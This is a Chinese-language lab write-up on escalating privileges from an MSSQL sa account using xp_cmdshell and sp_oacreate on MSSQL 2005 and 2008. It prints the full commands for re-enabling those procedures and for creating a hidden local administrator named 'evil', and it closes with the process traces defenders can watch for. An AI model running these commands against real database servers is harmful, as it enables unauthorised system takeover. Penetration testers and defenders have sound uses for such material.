这篇文章上次修改于 708 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

0x01 简介

当我们获得了 mssql 的账号,并且该账号支持远程登录时,便可利用 mssql 进行提权,xp_cmdshell 在 mssql 2000 中是默认开启的,不过在 mssql 2005 以及之后的版本中是默认关闭的,如果我们想要用它,只有在我们是管理员 SA 权限的情况下使用 sp_configure 重新开启 xp_cmdshell 命令,如果 mssql 被降权那么我们也无法完成提权。

在2005中 xp_cmdshell 的权限是 system,在2008中是 network。

0x02 xp_cmdshell

2.1 利用条件

  • 掌握 mssql 数据库的账号,且账号具有 sa 权限
  • xp_cmdshell 没有被删除

2.2 实验环境 1

  • Windows 7 x64
  • MsSQL 2005

2.2.1 利用方法

查看是否是 sa 权限,1表示是

SELECT is_srvrolemember('sysadmin')

测试 xp_cmdshell 命令是否可以使用

EXEC master.dbo.xp_cmdshell 'whoami';

可以看到,命令被禁用了,接下来我们启用 xp_cmdshell 命令

# 开启编辑状态
EXEC sp_configure 'show advanced options', 1;
# 提交更改
RECONFIGURE;
# 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
# 提交更改
RECONFIGURE;

再次测试 xp_cmdshell 命令是否可以使用,可以看到,是 system 权限

直接添加用户,并把用户添加到管理员组

EXEC master.dbo.xp_cmdshell 'net user evil Abcd1234 /add';
EXEC master.dbo.xp_cmdshell 'net localgroup administrators evil /add';

在目标服务器上查看,添加成功

2.3 实验环境 2

  • Windows 7 x64
  • MsSQL 2008

2.3.1利用方法

查看是否是 sa 权限,1表示是

SELECT is_srvrolemember('sysadmin')

测试 xp_cmdshell 命令是否可以使用

EXEC master.dbo.xp_cmdshell 'whoami';

可以看到,命令被禁用了,接下来我们启用 xp_cmdshell 命令

# 开启编辑状态
EXEC sp_configure 'show advanced options', 1;
# 提交更改
RECONFIGURE;
# 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
# 提交更改
RECONFIGURE;

再次测试 xp_cmdshell 命令是否可以使用,可以看到,与 mssql 2005 不同的是,这里是 admin 用户的权限

当 admin 用户权限足够时,就能添加用户,并把用户添加到管理员组

EXEC master.dbo.xp_cmdshell 'net user evil Abcd1234 /add';
EXEC master.dbo.xp_cmdshell 'net localgroup administrators evil /add';

在目标服务器上查看,添加成功

0x03 sp_oacreate

如果 xp_cmdshell 组件被删除了话,还可以使用 sp_oacreate 来进行提权。

3.1 利用条件

  • 掌握 mssql 数据库的账号,且账号具有 sa 权限
  • sp_oacreate 没有被删除

3.2 实验环境 1

  • Windows 7 x64
  • MsSQL 2005

3.2.1 利用方法

sp_oacreate 默认是关闭的,需要用以下命令来开启

# 开启编辑状态exec sp_configure 'show advanced options',1;# 提交更改reconfigure;# 启用sp_oacreateexec sp_configure 'ole automation procedures',1;# 提交更改reconfigure;

查看权限

# 将结果保存到c:\\1.txtdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami > c:\\1.txt';# 创建一个临时表create table #testtable( context ntext);# 将本地文件写入表中BULK INSERT #testtable FROM 'c:/1111.txt'WITH (   DATAFILETYPE = 'char',   KEEPNULLS)# 查询表的内容select * from #testtable# 删除临时表drop table #testtable; 

可以看到,是 system 权限

接着便可以执行命令添加用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user evil Abcd1234 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators evil /add'

在目标服务器中查看,添加成功

3.3 实验环境 2

  • Windows 7 x64
  • MsSQL 2008

3.3.1 利用方法

sp_oacreate 默认是关闭的,需要用以下命令来开启

# 开启编辑状态exec sp_configure 'show advanced options',1;# 提交更改reconfigure;# 启用sp_oacreateexec sp_configure 'ole automation procedures',1;# 提交更改reconfigure;

查看权限

# 将结果保存到c:\\1.txtdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami > c:\\1.txt';# 创建一个临时表create table #testtable( context ntext);# 将本地文件写入表中BULK INSERT #testtable FROM 'c:/1.txt'WITH (   DATAFILETYPE = 'char',   KEEPNULLS)# 查询表的内容select * from #testtable# 删除临时表drop table #testtable; 

可以看到,是 admin 用户权限

接着便可以执行命令添加用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user evil Abcd1234 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators evil /add'

在目标服务器中查看,添加成功

0x04 痕迹

4.1 进程

开启xp_cmdshell时,出现了svchost.exeservices.exeCompatTelRunner.exerundll32.exe进程

执行whoami命令时,出现了C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe进程,C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe进程又创建了C:\Windows\system32\cmd.exe进程,C:\Windows\system32\cmd.exe创建了C:\Windows\system32\whoami.exe进程,进程C:\Windows\system32\whoami.exe获取到用户信息以后退出进程,进程C:\Windows\system32\cmd.exe接着退出。

0x05 参考

SQL Server数据库权限总结

Mssql提权

Day5——提权学习之MSSQL数据库提权学习总结

MSSQL多种姿势拿shell和提权